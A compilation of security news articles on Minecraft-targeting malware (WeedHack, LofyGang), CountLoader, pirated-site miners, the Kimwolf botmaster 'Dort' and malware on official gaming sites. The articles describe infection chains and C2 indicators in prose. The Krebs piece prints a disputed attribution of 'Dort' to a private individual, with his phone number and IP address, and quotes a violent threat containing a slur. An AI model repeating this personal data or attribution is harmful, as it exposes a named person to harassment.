designs, and communication. Research from the McKinsey Global Institute puts the average knowledge worker at 28 percent of the workweek on email and close to 20 percent on hunts for internal information or for colleagues who can help with specific tasks. Meta adds stricter guardrails for teen feeds Meta has expanded its Teen Accounts 13+ content settings globally on Instagram, Facebook, and Messenger. The safeguards are designed to help young users see age-appropriate content by default. The company also introduced Limited Content on Instagram for parents seeking stricter restrictions. Meta plans to roll out the feature on Facebook and Messenger later this year. Known vulnerabilities behind most application security incidents Eight in ten organizations took an application security hit during the past year tied to a vulnerability their team had already cataloged, according to a survey of 902 IT and security professionals conducted by the Cloud Security Alliance. The pattern points to a structural condition across the industry, where the window between identifying a flaw and closing it in production stays open long enough for attackers to act. Agent Threat Rules: Open detection rule format for AI agent security threats AI agents run inside coding assistants, MCP servers, and multi-agent frameworks, and the access that makes them useful also opens paths to prompt injection, tool poisoning, and credential theft. Public CVE feeds carry agent-execution flaws that reach production faster than the tooling built to catch them. Agent Threat Rules, or ATR, is an open detection format aimed at this category of attack. Microsoft Scout agent opens a new category of always-on Autopilots Workplace AI assistants have mostly waited for a prompt before doing anything. A user asks, the tool answers, and the exchange ends there. Microsoft is putting a different kind of agent inside its Office applications, one designed to keep operating in the background once a person stops paying attention. The company introduced Microsoft Scout, calling it the first entry in a category it labels Autopilots. New Android feature promises to spot deepfake scam calls Android is introducing fake call detection to help protect users from impersonation scams. The feature can detect and flag suspected spoofed calls when both parties use Phone by Google on Android 12 or later. It will roll out globally this month, starting with Pixel devices. ETSI sets security requirements for AI data centers and cloud platforms ETSI has published TS 104 033, a technical specification that defines security requirements for AI computing platforms. The specification establishes a security framework for platforms used to host AI applications in data center and edge computing environments, covering security functions, platform components, interfaces, and services designed to protect AI models, datasets, training processes, and inference workloads. Product showcase: Trend Micro Mobile Security detects scams in messages, QR codes, and websites Trend Micro Mobile Security for iOS protects devices from potentially harmful websites while browsing, blocks ads and personal information trackers, helps users avoid unsafe Wi-Fi networks, and monitors data usage. The app is available for both iOS and Android devices. Most pros have seen AI hallucinations in IT operations Autonomous AI is taking action inside enterprise IT environments. Software is restarting services, isolating risky devices, and applying patches without waiting for a human to approve the step. The capability is spreading at the same time IT professionals are reporting frequent encounters with AI output errors that can carry operational impact. Let’s Encrypt works toward post-quantum certificates at web scale Let’s Encrypt plans to pursue a post-quantum-safe Web PKI through Merkle Tree Certificates (MTCs), a new approach that adds post-quantum authentication to the web without sacrificing the speed and reliability that have made TLS universal. The project is targeting late 2026 for a staging environment that issues MTCs, with a production-ready environment planned for 2027. Photos: Infosecurity Europe 2026 Infosecurity Europe 2026 is a cybersecurity event that took place from June 2 to 4 in London. Help Net Security was on-site and here’s a closer look at the conference. Attackers already know the secrets are on your developers’ machines. Do you? In a recent GitGuardian analysis, an average of 150 secrets were found on a sample of developer endpoints. Private keys accounted for 38% of unique secrets, while cloud, identity provider, and secret management credentials (AWS IAM, Hashicorp vault) added another 22%. Simplify security management with CIS SecureSuite Platform CIS SecureSuite Membership simplifies the process with tools, benefits, and resources for implementing the secure recommendations of the CIS Benchmarks. With the release of CIS SecureSuite Platform, it’s now even easier for Members to harden their systems. Cybersecurity jobs available right now: June 2, 2026 We’ve scoured the market to bring you a selection of roles that span various skill levels within the cybersecurity field. Check out this weekly selection of cybersecurity jobs available right now. New infosec products of the week: June 5, 2026 Here’s a look at the most interesting products from the past week, featuring releases from Asimily, depthfirst, Diligent, Hyland, MazeBolt, and Noma.
helpnetsecurity.comJun 7, 2026extracted
Malware campaign targeting Minecraft users infects over 116,000 systems
Malware campaign targeting Minecraft users infects over 116,000 systems A Malware-as-a-Service (MaaS) operation named WeedHack is targeting Minecraft users and allows threat actors to gain remote access to victims’ screens, webcams, and files through a web-based dashboard, McAfee researchers found. Minecraft, developed by Mojang Studios and released in 2011, is one of the best-selling video games of all time, with more than 350 million copies sold worldwide. Since January 2026, the campaign has infected more than 116,000 systems and continues to add between 2,000 and 3,000 new infections per day. “We’ve discovered over 3,820 unique malicious JAR files that are part of this attack and over 240 URLs responsible for distributing this malware,” researchers said. The United States accounted for the largest share of WeedHack infections, followed by Germany, India, the United Kingdom, Italy, Vietnam, Canada, Norway, Sweden, Finland, and Spain. YouTube spreading and SEO poisoning The WeedHack campaign relies on YouTube-driven distribution and SEO poisoning to reach victims. On YouTube, attackers promote Minecraft mods, clients, and utilities through videos containing download links in descriptions and comments. Some well-made videos feature voice-over narration and have attracted more than 7,500 views. YouTube video promoting malicious Minecraft Mods (Source: McAfee) “WeedHack targets Minecraft clients and mods without an official website that are hosted exclusively on file hosting websites like GitHub and specifically select mods with unique names, so it is easier to dominate search engine results,” McAfee explained. Lowering the barrier to entry What sets WeedHack apart from other malware campaigns is how accessible it is. The platform is hosted on the clear web and provides access to sophisticated malware for free. Researchers noted that MaaS offerings such as Lumma Stealer and X-Worm typically cost hundreds of dollars per month or require lifetime subscriptions purchased through underground forums, dark web marketplaces, or Telegram channels. WeedHack offers the malware for free, with premium features starting at $5 per month and lifetime access available for $24.99. The free tier includes an infostealer that targets Minecraft session IDs and four Minecraft launchers, collects system information, and steals cookies and passwords from 36 browsers. It also targets 56 browser-based cryptocurrency wallets and 12 desktop cryptocurrency wallets, along with Discord, Steam, and Telegram credentials. The malware can search infected systems using 24 predefined keywords and capture screenshots from compromised devices. Premium subscriptions unlock remote-access capabilities including webcam access, keystroke logging, reverse shell execution, screen sharing with keyboard and mouse control, and tools for uploading and downloading files. Tools, tutorials, and infection tracking At the center of the operation is a web-based dashboard that gives customers access to data collected from compromised systems. Victim profiles contain screenshots, system information, IP addresses, usernames, computer names, and harvested credentials, while a separate section tracks Minecraft session hits used for account hijacking. The platform includes a payload builder capable of injecting malware into legitimate Minecraft mods targeting versions 1.21.0 through 1.21.11. Users can also view all-time and 24-hour infection statistics through a leaderboard refreshed every 10 minutes. Documentation available through the portal covers malware distribution, operational security practices, remote-access features, stolen credentials, VPN and proxy services, and troubleshooting. A suggestions page allows users to submit feature requests and vote on proposed additions, including ransomware functionality, microphone access, and support for additional Minecraft clients. Beyond account theft and credential harvesting, the platform appears to have fueled cyberbullying. The operation’s Telegram channel attracted more than 850 members, with activity indicating that teenagers and young adults were using WeedHack’s remote-access tools to monitor, threaten, and harass victims. McAfee advises users to be cautious of recently uploaded YouTube videos promoting Minecraft tools, downloads hosted outside official websites, and requests to disable antivirus software before installation.
helpnetsecurity.comJun 3, 2026extracted
Weedhack Attacks Minecraft Users, CountLoader Hits 86K, Miners Spread via Pirated Content
Cybersecurity researchers have flagged a new campaign targeting Minecraft players via YouTube to spread malware capable of gaining control of victims' systems. The Minecraft-focused malware-as-a-service (MaaS) campaign has been codenamed Weedhack by McAfee Labs, stating the activity has been active since January 2026 and impersonates Minecraft clients and mods to infect users. In all, 3820 unique malicious JAR files and over 240 URLs responsible for distributing the malware have been identified. "This campaign utilizes SEO poisoning and YouTube to generate traffic to these malicious URLs," security researcher Aayush Tyagi said. "We also found two YouTube channels and multiple videos that demonstrate Minecraft Mods and Clients and redirect viewers to these URLs." Central to the campaign is an enterprise-grade dashboard ("weedhack[.]to") that enables customers to view stolen credentials and system information, as well as remotely keep tabs on the compromised systems. Furthermore, it allows criminals to create custom payloads that can target Minecraft versions 1.21.0 to 1.21.11, not to mention inject the malware into legitimate Minecraft mods. The starting point of the attack is a malicious JAR file ("DonutDupe.jar") downloaded from the malicious websites. The file then retrieves details of the command-and-control (C2) server domain using a known technique called EtherHiding, which employs the Ethereum blockchain as a dead drop resolver. In the next stage, the malware contacts the C2 server to fetch another Java-based JAR payload ("Elevator.jar") that collects system information, configures Microsoft Defender exclusions, and serves as a conduit for dropping two additional JAR payloads. The third JAR payload ("SecurityManager.jar") establishes persistence and acts as a stager for the final component ("Component.jar") that deploys the remote access features. The threat actors behind the tooling leverage a Telegram channel to advertise their warez, broadcast updates, and provide customer support. The channel has more than 850 members. The tool, for its part, comes in two tiers - Free, which includes a comprehensive infostealer that can target Minecraft session IDs and four Minecraft launchers; capture screenshots; and harvest files, system information, cookies, and passwords from 36 different web browsers, data from 56 browser-based cryptocurrency wallets and 12 desktop wallet apps, and credentials for Discord, Steam, and Telegram. Premium, which starts at $4.99 per month (or $24.99 for a lifetime license) and offers additional remote access capabilities, such as webcam access, keylogging, reverse shell execution, screen sharing with keyboard and mouse access, and file uploads and downloads. Attack chains revolve around SEO poisoning and YouTube videos containing descriptions that embed links to malicious Minecraft Clients to target unsuspecting users. The majority of Weedhack infections have been identified in the U.S., followed by Germany, India, the U.K., Italy, Vietnam, Canada, Norway, Sweden, Finland, and Spain. "One of the key features that makes Weedhack unique is that it is hosted on the clear net and provides access to sophisticated malware for free," Tyagi said. "This difference in cost and ease of access with detailed tutorials on how to use the malware significantly reduces the barrier to entry for prospective customers. Furthermore, its ability to steal Minecraft accounts attracts a younger audience. Both of these factors complement each other and make the campaign much more lethal." McAfee Labs said it has also observed the malware acting as a trigger for cyberbullying, where the customers, who appear to be teenagers and young adults, are weaponizing its remote access capabilities to threaten, harass, and monitor their victims. They have found a way to record victims via their webcams and shared the videos on the Telegram channel as "trophies." CountLoader Delivers Crypto Clipper The disclosure comes as the cybersecurity company shed light on a large-scale CountLoader campaign that's estimated to have compromised 86,000 unique machines. CountLoader is a JavaScript loader that's typically distributed via cracked software distribution sites. It's known to deploy various payloads like Cobalt Strike, AdaptixC2, PureHVNC RAT, Amatera Stealer, and PureMiner. Of these compromises, approximately 9,000 infections are said to have resulted from the malware spreading via USB drives and removable media. McAfee Labs said the highest number of infections was observed in India, followed by Indonesia, the U.S., and several countries across Southeast Asia, adding it was able to successfully sinkhole the malware communication infrastructure by registering a fake C2 domain. "The infection begins when an EXE file is executed," the company said. "This file launches a PowerShell command, which downloads and executes an obfuscated JavaScript loader known as CountLoader. The loader is executed using 'mshta.exe.'" Once executed, CountLoader sets up persistence, communicates with the C2 server, attempts to spread via USB drives, and awaits further instructions from the C2 server to download and execute payloads. The final payload deployed in the latest set of attacks is a cryptocurrency clipper malware that hijacks clipboard content to redirect cryptocurrency transactions. Pirated Content Leads to Cryptocurrency Miners The findings also follow the discovery of a years-long campaign that has used illegal movie and TV show streaming sites to distribute a cryptocurrency miner under the guise of a fake update for a video player plugin. The bogus update downloads a ZIP archive, which then uses DLL side-loading to drop a fork of SilentCryptoMiner. The malware is equipped with a wide range of capabilities - Configure Defender exclusions, terminate Microsoft's Malicious Software Removal Tool, and disable automatic hibernation and sleep mode to maximize the miner's potential runtime on the device. Repeatedly trigger User Account Control (UAC) prompts until the process is successfully executed with elevated privileges. Initiate a watchdog component that ensures the uninterrupted operation of the miner. Run a RAT agent that provides remote control capabilities, including running arbitrary commands, launching EXE files using "explorer.exe," and running shellcode. Launch an XMRig-based CPU and a GPU miner. "The archive contained a legitimate executable, HLS Installer.874.exe, alongside a malicious DLL. Launching the EXE triggered a DLL side-loading mechanism, injecting the malicious module into a legitimate program process and executing code within its context," Kaspersky said. "The library contained the logic for deploying the miner and establishing persistence on the device." It's assessed that the activity is a continuation of a campaign that was documented by NTT Security in April 2023, which used fake browser crash warnings to drop a cryptocurrency miner. "The threat actors leverage a variety of sites, ranging from online libraries to movie and TV show streaming platforms," Kaspersky said. "There is no telling what channels they will use to distribute the malicious archive in the future. However, the current case shows that users visiting pirated websites continue to take a serious risk." Update In a new analysis published on June 24, 2026, Dark Atlas revealed that Weedhack started off as a "private, targeted credential stealer" under the name Majanito in late 2025, and it underwent a change in ownership and branding in early 2026. Over 116,000 endpoints have been compromised between January and June 2026. It's tracking the first-stage JAR payload under the name LoaderClient. "On execution, the malware harvests the victim’s Minecraft session including display name, account UUID, and live Microsoft OAuth access token, then queries an Ethereum smart contract to resolve its C2 URL, downloads a second-stage payload, and executes it entirely in memory," the company said. "The Weedhack campaign represents a convergence of consumer-grade malware, blockchain infrastructure abuse, and the unregulated ecosystem of third-party game modifications."
thehackernews.comJun 3, 2026extracted
Over 116,000 Minecraft systems infected in WeedHack malware campaign
A large-scale malware campaign dubbed WeedHack is targeting Minecraft players and has infected more than 116,000 systems since January. The malware is distributed through Minecraft-related malicious mods, clients, cheats, and utilities that are promoted over YouTube and SEO (search engine optimization) poisoning. WeedHack works as a malware-as-a-service (MaaS) infostealer operation that offers a dashboard for customers to see stolen credentials and information on compromised systems. Telemetry data from cybersecurity company McAfee shows that WeedHack has impacted 116,464 systems, averaging between 2,000 and 3,000 infections every day. Most victims are in the United States, Germany, India, and the UK. The scale of the operation is reflected in the more than 240 distribution URLs and 3,820 unique malicious JAR files. WeedHack malware distribution In a report today, McAfee researchers say that the WeedHack campaign reaches victims mainly through YouTube videos showcasing Minecraft-related tools and SEO poisoning promoting them. On the video platform, the attacker drops download links in descriptions and comments. Some of the videos are well-made, featuring voice-over narration for authenticity, and have accumulated more than 7,500 views. The SEO poisoning distribution method targets keywords that correspond to clients: Meteor Client, Radium Client, Wurst Client, Aristois, LiquidBounce, Impact Client, Future Client, Inertia Client, Cornos Client, WWE Client, 3arthh4ck, Salhack, Phobos, and Gamesense. McAfee explains that many of those projects do not have official websites, only GitHub pages. In one case highlighted in the report, the malicious website displays a security notice warning visitors that they should only download ‘Skytils’ from the official site. It is even linking to the project’s legitimate GitHub repository and Discord server to create a strong, false sense of legitimacy for the fake website. MaaS operation The WeedHack malware platform is hosted on the clear net and provides access to anyone for free, which is very unusual for infostealer operations. Users are given access to a dashboard that shows an overview of their victims, infected system profiles, stolen data, and a payload builder for Minecraft versions 1.21.0 through 1.21.10. The free tier stealer targets Minecraft session ID theft, cookies, and saved passwords across 36 browsers, 56 cryptocurrency add-ons, 12 desktop cryptocurrency wallet apps, Discord, Steam, and Telegram credentials, and can capture screenshots. WeedHack also offers a premium tier for $5/month, or a lifetime one-time purchase of $24.99, that adds remote control with input access (mouse and keyboard), webcam access, keylogger, remote shell, and remote file management. The project’s Telegram channel has over 800 members, and McAfee says that many of the clients appear to be teenagers or young adults who use WeedHack’s remote access tools to harass their victims. Minecraft players should only trust mods from official project sources, verify download links, and treat JAR files hosted on dubious sites with caution. For those looking to extend their playing experience, the in-game Minecraft Marketplace is the safest option. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comJun 2, 2026extracted
Brazilian LofyGang Resurfaces After Three Years With Minecraft LofyStealer Campaign
A cybercrime group of Brazilian origin has resurfaced after more than three years to orchestrate a campaign that targets Minecraft players with a new stealer called LofyStealer (aka GrabBot). "The malware disguises itself as a Minecraft hack called 'Slinky,'" Brazil-based cybersecurity company ZenoX said in a technical report. "It uses the official game icon to induce voluntary execution, exploiting the trust of young users in the gaming scene." The activity has been attributed with high confidence to a threat actor known as LofyGang, which was observed leveraging typosquatted packages on the npm registry to push stealer malware in 2022, specifically with an intent to siphon credit card data and user accounts associated with Discord Nitro, gaming, and streaming services. The group, believed to be active since late 2021, advertises their tools and services on platforms like GitHub and YouTube, while also contributing to an underground hacking community under the alias DyPolarLofy to leak thousands of Disney+ and Minecraft accounts. "Minecraft has been a LofyGang target since 2022," Acassio Silva, co-founder and head of threat intelligence at ZenoX, told The Hacker News. "They leaked thousands of Minecraft accounts under the DyPolarLofy alias on Cracked.io. The current campaign goes after Minecraft players directly through a fake 'Slinky' hack." The attack begins with a Minecraft hack that, when launched, triggers the execution of a JavaScript loader that's ultimately responsible for the deployment of LofyStealer ("chromelevator.exe") on compromised hosts and execute it directly in memory with an aim to harvest a wide range of sensitive data spanning multiple web browsers, including Google Chrome, Chrome Beta, Microsoft Edge, Brave, Opera, Opera GX, Mozilla Firefox, and Avast Browser. The captured data, which includes cookies, passwords, tokens, cards, and International Bank Account Numbers (IBANs), is exfiltrated to a command-and-control (C2) server located at 24.152.36[.]241. "Historically, the group's primary vector was the JavaScript supply chain: NPM package typosquatting, starjacking (fraudulent references to legitimate GitHub repositories to inflate credibility), and payloads embedded in sub-dependencies to evade detection," ZenoX said. "The focus was on Discord token theft, Discord client modification for credit card interception, and exfiltration via webhooks abusing legitimate services (Discord, Repl.it, Glitch, GitHub, and Heroku) as C2." The latest development marks a departure from previously observed tradecraft and a shift towards a malware-as-a-service (MaaS) model with free and premium tiers, along with a bespoke builder called Slinky Cracked that's used as a delivery vehicle for the stealer malware. The disclosure comes as threat actors are increasingly abusing the ubiquity and trust associated with GitHub to host bogus repositories that act as lures for malware families like SmartLoader, StealC Stealer, and Vidar Stealer. Unsuspecting users are directed to these repositories through techniques like SEO poisoning. In some cases, attackers have been found to spread Vidar 2.0 through Reddit posts advertising fake Counter-Strike 2 game cheats, redirecting victims to a malicious website that delivers a ZIP archive containing the malware. "This infostealer campaign highlights an ongoing security challenge where widely trusted platforms are abused to distribute malicious payloads," Acronis said in an analysis published last month. "By taking advantage of social trust and common download channels, threat actors are often able to bypass traditional security solutions." The findings add to a growing list of campaigns that have leveraged GitHub in recent months - Targeting developers directly inside GitHub, using fake Microsoft Visual Studio Code (VS Code) security alerts posted through Discussions to trick users into installing malware by clicking on a link. "Because GitHub Discussions trigger email notifications for participants and watchers, these posts are also delivered directly to developers' inboxes," Socket said. "This extends the reach of the campaign beyond GitHub itself and makes the alerts appear more legitimate." Targeting Argentina's judicial systems using spear‑phishing emails to distribute a compressed ZIP archive that uses an intermediate batch script to retrieve a remote access trojan (RAT) hosted on GitHub. Creating GitHub accounts and OAuth applications, followed by opening an issue that mentions a target developer, triggering an email notification that, in turn, tricks them into authorizing the OAuth app, effectively allowing the attacker to obtain their access tokens. The issues aim to induce a false sense of urgency, warning users of unusual access attempts. Using fraudulent GitHub repositories to distribute malicious batch script installers masquerading as legitimate IT and security software, leading to the deployment of the TookPS downloader, which then initiates a multi-stage infection chain to establish persistent remote access using SSH reverse tunnels and RATs like MineBridge RAT (aka TeviRAT). The activity has been attributed to Rift Brigantine (aka FIN11, Graceful Spider, and TA505). Using counterfeit GitHub repositories posing as AI tools, game cheats, Roblox scripts, phone number location trackers, and VPN crackers to distribute LuaJIT payloads that function as a generic trojan as part of a campaign dubbed TroyDen's Lure Factory. "The breadth of the lure factory – gaming cheats, developer tools, phone trackers, Roblox scripts, VPN crackers – suggests an actor optimizing for volume across audiences rather than precision targeting," Netskope said. "Defenders should treat any GitHub-hosted download that pairs a renamed interpreter with an opaque data file as a high-priority triage candidate, regardless of how legitimate the surrounding repository looks."
thehackernews.comApr 28, 2026extracted
Who is the Kimwolf Botmaster “Dort”?
In early January 2026, KrebsOnSecurity revealed how a security researcher disclosed a vulnerability that was used to build Kimwolf, the world’s largest and most disruptive botnet. Since then, the person in control of Kimwolf — who goes by the handle “Dort” — has coordinated a barrage of distributed denial-of-service (DDoS), doxing and email flooding attacks against the researcher and this author, and more recently caused a SWAT team to be sent to the researcher’s home. This post examines what is knowable about Dort based on public information. A public “dox” created in 2020 asserted Dort was a teenager from Canada (DOB August 2003) who used the aliases “CPacket” and “M1ce.” A search on the username CPacket at the open source intelligence platform OSINT Industries finds a GitHub account under the names Dort and CPacket that was created in 2017 using the email address [email protected]. The cyber intelligence firm Intel 471 says [email protected] was used between 2015 and 2019 to create accounts at multiple cybercrime forums, including Nulled (username “Uubuntuu”) and Cracked (user “Dorted”); Intel 471 reports that both of these accounts were created from the same Internet address at Rogers Canada (99.241.112.24). Dort was an extremely active player in the Microsoft game Minecraft who gained notoriety for their “Dortware” software that helped players cheat. But somewhere along the way, Dort graduated from hacking Minecraft games to enabling far more serious crimes. Dort also used the nickname DortDev, an identity that was active in March 2022 on the chat server for the prolific cybercrime group known as LAPSUS$. Dort peddled a service for registering temporary email addresses, as well as “Dortsolver,” code that could bypass various CAPTCHA services designed to prevent automated account abuse. Both of these offerings were advertised in 2022 on SIM Land, a Telegram channel dedicated to SIM-swapping and account takeover activity. The cyber intelligence firm Flashpoint indexed 2022 posts on SIM Land by Dort that show this person developed the disposable email and CAPTCHA bypass services with the help of another hacker who went by the handle “Qoft.” “I legit just work with Jacob,” Qoft said in 2022 in reply to another user, referring to their exclusive business partner Dort. In the same conversation, Qoft bragged that the two had stolen more than $250,000 worth of Microsoft Xbox Game Pass accounts by developing a program that mass-created Game Pass identities using stolen payment card data. Who is the Jacob that Qoft referred to as their business partner? The breach tracking service Constella Intelligence finds the password used by [email protected] was reused by just one other email address: [email protected]. Recall that the 2020 dox of Dort said their date of birth was August 2003 (8/03). Searching this email address at DomainTools.com reveals it was used in 2015 to register several Minecraft-themed domains, all assigned to a Jacob Butler in Ottawa, Canada and to the Ottawa phone number 613-909-9727. Constella Intelligence finds [email protected] was used to register an account on the hacker forum Nulled in 2016, as well as the account name “M1CE” on Minecraft. Pivoting off the password used by their Nulled account shows it was shared by the email addresses [email protected] and [email protected], the latter being an address at a domain for the Ottawa-Carelton District School Board. Data indexed by the breach tracking service Spycloud suggests that at one point Jacob Butler shared a computer with his mother and a sibling, which might explain why their email accounts were connected to the password “jacobsplugs.” Neither Jacob nor any of the other Butler household members responded to requests for comment. The open source intelligence service Epieos finds [email protected] created the GitHub account “MemeClient.” Meanwhile, Flashpoint indexed a deleted anonymous Pastebin.com post from 2017 declaring that MemeClient was the creation of a user named CPacket — one of Dort’s early monikers. Why is Dort so mad? On January 2, KrebsOnSecurity published The Kimwolf Botnet is Stalking Your Local Network, which explored research into the botnet by Benjamin Brundage, founder of the proxy tracking service Synthient. Brundage figured out that the Kimwolf botmasters were exploiting a little-known weakness in residential proxy services to infect poorly-defended devices — like TV boxes and digital photo frames — plugged into the internal, private networks of proxy endpoints. By the time that story went live, most of the vulnerable proxy providers had been notified by Brundage and had fixed the weaknesses in their systems. That vulnerability remediation process massively slowed Kimwolf’s ability to spread, and within hours of the story’s publication Dort created a Discord server in my name that began publishing personal information about and violent threats against Brundage, Yours Truly, and others. Last week, Dort and friends used that same Discord server (then named “Krebs’s Koinbase Kallers”) to threaten a swatting attack against Brundage, again posting his home address and personal information. Brundage told KrebsOnSecurity that local police officers subsequently visited his home in response to a swatting hoax which occurred around the same time that another member of the server posted a door emoji and taunted Brundage further. Someone on the server then linked to a cringeworthy (and NSFW) new Soundcloud diss track recorded by the user DortDev that included a stickied message from Dort saying, “Ur dead nigga. u better watch ur fucking back. sleep with one eye open. bitch.” “It’s a pretty hefty penny for a new front door,” the diss track intoned. “If his head doesn’t get blown off by SWAT officers. What’s it like not having a front door?” With any luck, Dort will soon be able to tell us all exactly what it’s like. Update, 10:29 a.m.: Jacob Butler responded to requests for comment, speaking with KrebsOnSecurity briefly via telephone. Butler said he didn’t notice earlier requests for comment because he hasn’t really been online since 2021, after his home was swatted multiple times. He acknowledged making and distributing a Minecraft cheat long ago, but said he hasn’t played the game in years and was not involved in Dortsolver or any other activity attributed to the Dort nickname after 2021. “It was a really old cheat and I don’t remember the name of it,” Butler said of his Minecraft modification. “I’m very stressed, man. I don’t know if people are going to swat me again or what. After that, I pretty much walked away from everything, logged off and said fuck that. I don’t go online anymore. I don’t know why people would still be going after me, to be completely honest.” When asked what he does for a living, Butler said he mostly stays home and helps his mom around the house because he struggles with autism and social interaction. He maintains that someone must have compromised one or more of his old accounts and is impersonating him online as Dort. “Someone is actually probably impersonating me, and now I’m really worried,” Butler said. “This is making me relive everything.” But there are issues with Butler’s timeline. For example, Jacob’s voice in our phone conversation was remarkably similar to the Jacob/Dort whose voice can be heard in this Sept. 2022 Clash of Code competition between Dort and another coder (Dort lost). At around 6 minutes and 10 seconds into the recording, Dort launches into a cursing tirade that mirrors the stream of profanity in the diss rap that Dortdev posted threatening Brundage. Dort can be heard again at around 16 minutes; at around 26:00, Dort threatens to swat his opponent. Butler said the voice of Dort is not his, exactly, but rather that of an impersonator who had likely cloned his voice. “I would like to clarify that was absolutely not me,” Butler said. “There must be someone using a voice changer. Or something of the sorts. Because people were cloning my voice before and sending audio clips of ‘me’ saying outrageous stuff.” Further reading:
krebsonsecurity.comFeb 28, 2026extracted
Viruses on official Steam, Minecraft, and Endgame Gear sites | Kaspersky official blog
Experienced gamers are well aware of the risks of downloading games, mods, skins, and other gaming software from unofficial sources. However, infections can also originate from platforms users typically trust — developer websites and official stores. In this post, we review several cases where attackers distributed malware through official gaming resources. We also explain how to protect your system, loot, and account — so you can keep playing on your favorite platforms without any nasty surprises. Infected Endgame Gear mouse-configuration tool In July 2025, Endgame Gear, a manufacturer of advanced mice aimed at esports players and seasoned gamers, reported a malware infection in its OP1w 4k v2 mouse-config utility. The Trojan remained on the company’s official site for almost two weeks, from June 26 to July 9, 2025. As a result, users who downloaded the utility from the product page during that period also received malware with it. Endgame Gear did not specify what the malicious payload was, but user-scan data suggests it was an XRed backdoor. XRed offers a wide range of capabilities for remote control of infected systems. These include a keylogger and enables attackers to access the command line, browse disks and folders, download and delete files, and take screenshots. XRed can also download additional modules and exfiltrate system data to remote servers. It was gamers themselves who first noticed something was wrong with the OP1w 4k v2 configuration tool. They began discussing suspicious signs on Reddit nearly two weeks before Endgame Gear released an official statement. The key details that raised user suspicions were the size of the program — the infected version was 2.8MB instead of the usual 2.3MB — and the file signature, listed as “Synaptics Pointing Device Driver” instead of “Endgame Gear OP1w 4k v2 Configuration Tool”. In its official statement on the incident, Endgame Gear clarified that users who downloaded the tool from the general downloads page (endgamegear.com/downloads), GitHub, or the company’s Discord channel are safe. The threat only affected gamers who downloaded software directly from the OP1w 4k v2 product page between June 26 and July 9, 2025. After that, the malware was removed from the company’s site. The mouse manufacturer recommends the following steps for any potentially affected users: Delete all contents of the folder C:\ProgramData\Synaptics. Run a full system scan with a reliable antivirus. Download a clean version of the utility. In addition, users should change passwords for all important accounts, including financial services, email, and work-related logins. Malware in three early-access Steam games In 2025, several cases were reported of malware being distributed through early-access games on Steam. In February, this involved PirateFi, a survival sim (we covered this case on the Kaspersky Daily blog). In March, a similar incident occurred with the tactical shooter Sniper: Phantom’s Resolution. In July, attackers uploaded an infected version of Chemia, another survival game. All three cases involved early-access titles — likely because Steam applies looser verification procedures for pre-release games. Let’s take a closer look at these three cases. A few days after the beta release of PirateFi — the first game developed by a studio called Seaworth Interactive — one user reported on a Steam forum that his antivirus had prevented the game from launching. The security software detected the presence of Trojan.Win32.Lazzzy.gen malware, which the game attempted to install in the AppData/Temp directory after launch. The Trojan’s primary goal was to steal browser cookies. These cookies allowed the attackers to access victims’ accounts for financial services, social networks, and other online platforms. Several players who downloaded and ran the game reported that the criminals changed the passwords on their accounts and stole funds. PirateFi was pulled from Steam just four days after release. All users who had downloaded the game — fortunately, only around 800 people — received an official notification from the platform warning them of the malware on their devices. Just a month later, a similar situation occurred with another game — Sniper: Phantom’s Resolution by Sierra Six Studios. Once again, players were the first to suspect something was wrong: they noticed that the game’s description and screenshots were clearly copied from other projects. Another red flag was the developer’s offering a demo installer hosted on an external GitHub repository rather than through Steam. Further examination of the installer’s code by Reddit users revealed suspicious software hidden inside. Like the creators of PirateFi, those behind Sniper: Phantom’s Resolution seemed to be after victims’ online accounts. Following user reports, both GitHub and Steam quickly removed the malicious game from their platforms. The third case, involving a game called Chemia by Aether Forge Studios, was a little different: this time, it was a beta version of a legitimate game that was infected. Cybersecurity researchers believe the attack was carried out by the hacker group EncryptHub, also known as Larva-208. It remains unclear how the attackers managed to inject malware into the game. However, players who launched the Chemia playtest unknowingly downloaded two infostealers to their devices. Both ran silently in the background without affecting gameplay, leaving gamers unaware their systems were compromised. The attackers were targeting data stored in browsers, including saved passwords, autofill info, cookies, and cryptowallet details. At the time of writing, the game is no longer available on Steam. However, neither the platform nor the game’s developer has issued an official statement. Malicious skins on the official Minecraft website Sometimes dangers lurk not just on Steam, but also on developers’ official sites — including the biggest names. In 2018, about fifty thousand Minecraft players fell victim to attackers who uploaded malicious skins to the official Minecraft website. That platform has a fan-interaction system where any player can share skins they create with others — and that’s what the attackers exploited. The malware was spread via PNG skin files, and was capable of deleting programs, formatting hard drives, and destroying backup data. One peculiar detail was that some victims received bizarre messages with titles such as: “You Are Nailed, Buy A New Computer This Is A Piece Of Sh*t”, “You have maxed your internet usage for a lifetime”, “Your a** got glued.” The malicious code’s specifics make experts believe that professional cybercriminals were likely not behind the attack. Still, the Minecraft case clearly demonstrated the vulnerability of content-sharing mechanisms on gaming platforms. How to avoid becoming a victim Installing games, mods, skins, and other gaming software from official sources is, of course, safer than pirating them from shady ones. However, as we’ve shown in this post, even legitimate sites require vigilance. Read reviews carefully before downloading any game or gaming software. Do a quick background check — a simple search might lead you to a Reddit thread discussing suspicious issues. Be cautious with early-access games on Steam. Three malicious games in a single year already signals a trend. Install reliable protection on your device. Many gamers may be skeptical about this last tip, as it’s a common belief in the gaming community that antivirus software slows down games. That may have been true years ago, but tests these days show that the latest security solutions cause no measurable drops in performance. Moreover, Kaspersky Premium even includes a dedicated gaming mode. It turns on automatically when a game launches, postponing database updates, notifications, and routine scans until the session ends — thus minimizing system resource usage. How else do attackers target gamers? Check out our selection of articles on this topic:
kaspersky.comSep 18, 2025extracted